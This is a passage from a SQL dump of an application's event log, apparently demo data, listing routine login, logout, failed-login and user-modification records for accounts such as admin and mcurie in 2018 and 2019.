Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(875,'2018-01-19 11:24:18','USER_MODIFY',1,'2018-01-19 11:24:18',12,'User admin modified','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(876,'2018-01-19 11:28:45','USER_LOGOUT',1,'2018-01-19 11:28:45',12,'(UserLogoff,admin)','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(877,'2018-03-16 09:54:15','USER_LOGIN_FAILED',1,'2018-03-16 13:54:15',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36',NULL,NULL,NULL,NULL),(878,'2018-03-16 09:54:23','USER_LOGIN',1,'2018-03-16 13:54:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x936','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36',NULL,NULL,NULL,NULL),(879,'2019-09-26 11:35:07','USER_MODIFY',1,'2019-09-26 13:35:07',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(880,'2019-09-26 11:35:33','USER_MODIFY',1,'2019-09-26 13:35:33',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(881,'2019-09-26 11:36:33','USER_MODIFY',1,'2019-09-26 13:36:33',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(882,'2019-09-26 11:36:56','USER_MODIFY',1,'2019-09-26 13:36:56',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(883,'2019-09-26 11:37:30','USER_MODIFY',1,'2019-09-26 13:37:30',12,'User ldestailleur modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(884,'2019-09-26 11:37:56','USER_MODIFY',1,'2019-09-26 13:37:56',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(885,'2019-09-26 11:38:11','USER_MODIFY',1,'2019-09-26 13:38:11',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(886,'2019-09-26 11:38:27','USER_MODIFY',1,'2019-09-26 13:38:27',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(887,'2019-09-26 11:38:48','USER_MODIFY',1,'2019-09-26 13:38:48',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(888,'2019-09-26 11:39:35','USER_MODIFY',1,'2019-09-26 13:39:35',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(889,'2019-09-26 11:41:28','USER_MODIFY',1,'2019-09-26 13:41:28',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(890,'2019-09-26 11:43:27','USER_MODIFY',1,'2019-09-26 13:43:27',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(891,'2019-09-26 11:46:44','USER_MODIFY',1,'2019-09-26 13:46:44',12,'User aleerfok modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(892,'2019-09-26 11:46:54','USER_MODIFY',1,'2019-09-26 13:46:54',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(893,'2019-09-26 11:47:08','USER_MODIFY',1,'2019-09-26 13:47:08',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(894,'2019-09-26 11:48:04','USER_MODIFY',1,'2019-09-26 13:48:04',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(895,'2019-09-26 11:48:32','USER_MODIFY',1,'2019-09-26 13:48:32',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(896,'2019-09-26 11:48:49','USER_MODIFY',1,'2019-09-26 13:48:49',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(897,'2019-09-26 11:49:12','USER_MODIFY',1,'2019-09-26 13:49:12',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(898,'2019-09-26 11:49:21','USER_MODIFY',1,'2019-09-26 13:49:21',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(899,'2019-09-26 11:49:28','USER_MODIFY',1,'2019-09-26 13:49:28',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(900,'2019-09-26 11:49:37','USER_MODIFY',1,'2019-09-26 13:49:37',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(901,'2019-09-26 11:49:46','USER_MODIFY',1,'2019-09-26 13:49:46',12,'User aeinstein modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(902,'2019-09-26 11:49:57','USER_MODIFY',1,'2019-09-26 13:49:57',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(903,'2019-09-26 11:50:17','USER_MODIFY',1,'2019-09-26 13:50:17',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(904,'2019-09-26 11:50:43','USER_MODIFY',1,'2019-09-26 13:50:43',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(905,'2019-09-26 11:51:10','USER_MODIFY',1,'2019-09-26 13:51:10',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(906,'2019-09-26 11:51:36','USER_MODIFY',1,'2019-09-26 13:51:36',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(907,'2019-09-26 11:52:16','USER_MODIFY',1,'2019-09-26 13:52:16',12,'User demo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(908,'2019-09-26 11:52:35','USER_MODIFY',1,'2019-09-26 13:52:35',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(909,'2019-09-26 11:52:59','USER_MODIFY',1,'2019-09-26 13:52:59',12,'User bbookkeeper modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(910,'2019-09-26 11:53:28','USER_MODIFY',1,'2019-09-26 13:53:28',12,'User mcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(911,'2019-09-26 11:53:50','USER_MODIFY',1,'2019-09-26 13:53:50',12,'User zzeceo modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(912,'2019-09-26 11:54:18','USER_MODIFY',1,'2019-09-26 13:54:18',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(913,'2019-09-26 11:54:43','USER_MODIFY',1,'2019-09-26 13:54:43',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(914,'2019-09-26 11:55:09','USER_MODIFY',1,'2019-09-26 13:55:09',12,'User sscientol modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(915,'2019-09-26 11:55:23','USER_MODIFY',1,'2019-09-26 13:55:23',12,'User ccommerson modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(916,'2019-09-26 11:55:35','USER_MODIFY',1,'2019-09-26 13:55:35',12,'User aleerfok modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(917,'2019-09-26 11:55:58','USER_MODIFY',1,'2019-09-26 13:55:58',12,'User ccommercy modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(918,'2019-09-26 15:28:46','USER_LOGIN_FAILED',1,'2019-09-26 17:28:46',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(919,'2019-09-26 15:28:51','USER_LOGIN_FAILED',1,'2019-09-26 17:28:51',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(920,'2019-09-26 15:28:55','USER_LOGIN',1,'2019-09-26 17:28:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(921,'2019-09-27 14:51:19','USER_LOGIN_FAILED',1,'2019-09-27 16:51:19',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(922,'2019-09-27 14:51:49','USER_LOGIN_FAILED',1,'2019-09-27 16:51:49',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(923,'2019-09-27 14:51:55','USER_LOGIN_FAILED',1,'2019-09-27 16:51:55',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(924,'2019-09-27 14:52:22','USER_LOGIN_FAILED',1,'2019-09-27 16:52:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(925,'2019-09-27 14:52:41','USER_LOGIN',1,'2019-09-27 16:52:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(926,'2019-09-27 15:47:07','USER_LOGIN_FAILED',1,'2019-09-27 17:47:07',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(927,'2019-09-27 15:47:09','USER_LOGIN_FAILED',1,'2019-09-27 17:47:09',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(928,'2019-09-27 15:47:12','USER_LOGIN',1,'2019-09-27 17:47:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(929,'2019-09-27 16:39:57','USER_LOGIN',1,'2019-09-27 18:39:57',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(930,'2019-09-30 13:49:22','USER_LOGIN_FAILED',1,'2019-09-30 15:49:22',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(931,'2019-09-30 13:49:27','USER_LOGIN_FAILED',1,'2019-09-30 15:49:27',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(932,'2019-09-30 13:49:30','USER_LOGIN',1,'2019-09-30 15:49:30',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(933,'2019-09-30 15:49:05','USER_LOGIN_FAILED',1,'2019-09-30 17:49:05',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(934,'2019-09-30 15:49:08','USER_LOGIN',1,'2019-09-30 17:49:08',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(935,'2019-10-01 11:47:44','USER_LOGIN',1,'2019-10-01 13:47:44',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(936,'2019-10-01 13:24:03','USER_LOGIN',1,'2019-10-01 15:24:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(937,'2019-10-02 11:41:30','USER_LOGIN_FAILED',1,'2019-10-02 13:41:30',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(938,'2019-10-02 11:41:35','USER_LOGIN',1,'2019-10-02 13:41:35',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x899','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(939,'2019-10-02 17:01:42','USER_LOGIN_FAILED',1,'2019-10-02 19:01:42',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(940,'2019-10-02 17:01:44','USER_LOGIN',1,'2019-10-02 19:01:44',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(941,'2019-10-04 08:06:36','USER_LOGIN_FAILED',1,'2019-10-04 10:06:36',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(942,'2019-10-04 08:06:40','USER_LOGIN',1,'2019-10-04 10:06:40',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(943,'2019-10-04 08:06:46','USER_LOGOUT',1,'2019-10-04 10:06:46',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(944,'2019-10-04 08:06:50','USER_LOGIN',1,'2019-10-04 10:06:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(945,'2019-10-04 10:28:53','USER_LOGIN_FAILED',1,'2019-10-04 12:28:53',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(946,'2019-10-04 10:31:06','USER_LOGIN',1,'2019-10-04 12:31:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x520','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(947,'2019-10-04 14:55:58','USER_LOGIN',1,'2019-10-04 16:55:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(948,'2019-10-04 16:45:36','USER_LOGIN_FAILED',1,'2019-10-04 18:45:36',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(949,'2019-10-04 16:45:40','USER_LOGIN',1,'2019-10-04 18:45:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x899','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(950,'2019-10-05 09:10:32','USER_LOGIN',1,'2019-10-05 11:10:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(951,'2019-10-06 09:02:10','USER_LOGIN_FAILED',1,'2019-10-06 11:02:10',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(952,'2019-10-06 09:02:12','USER_LOGIN',1,'2019-10-06 11:02:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1905x513','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(953,'2019-10-07 09:00:29','USER_LOGIN_FAILED',1,'2019-10-07 11:00:29',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(954,'2019-10-07 09:00:33','USER_LOGIN',1,'2019-10-07 11:00:33',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x948','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(955,'2019-10-07 15:05:26','USER_LOGIN_FAILED',1,'2019-10-07 17:05:26',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(956,'2019-10-07 15:05:29','USER_LOGIN_FAILED',1,'2019-10-07 17:05:29',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(957,'2019-10-08 09:57:04','USER_LOGIN_FAILED',1,'2019-10-08 11:57:04',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(958,'2019-10-08 09:57:07','USER_LOGIN',1,'2019-10-08 11:57:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x637','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(959,'2019-10-08 11:18:14','USER_LOGIN_FAILED',1,'2019-10-08 13:18:14',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(960,'2019-10-08 11:18:18','USER_LOGIN',1,'2019-10-08 13:18:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(961,'2019-10-08 13:29:24','USER_LOGIN',1,'2019-10-08 15:29:24',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(962,'2019-10-08 17:04:42','USER_LOGIN_FAILED',1,'2019-10-08 19:04:42',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(963,'2019-10-08 17:04:46','USER_LOGIN',1,'2019-10-08 19:04:46',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(964,'2019-10-08 18:37:06','USER_LOGIN_FAILED',1,'2019-10-08 20:37:06',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(965,'2019-10-08 18:38:29','USER_LOGIN_FAILED',1,'2019-10-08 20:38:29',NULL,'Identifiant ou mot de passe incorrect - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(966,'2019-10-08 18:38:32','USER_LOGIN',1,'2019-10-08 20:38:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x919','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(967,'2019-10-08 19:01:07','USER_MODIFY',1,'2019-10-08 21:01:07',12,'User pcurie modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,NULL,NULL,NULL),(968,'2019-11-28 15:09:03','USER_LOGOUT',1,'2019-11-28 19:09:03',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36',NULL,'8ac86e29343929e21171a305760f9a3b',NULL,NULL),(969,'2019-11-28 15:09:18','USER_LOGIN_FAILED',1,'2019-11-28 19:09:18',NULL,'Identifiant ou 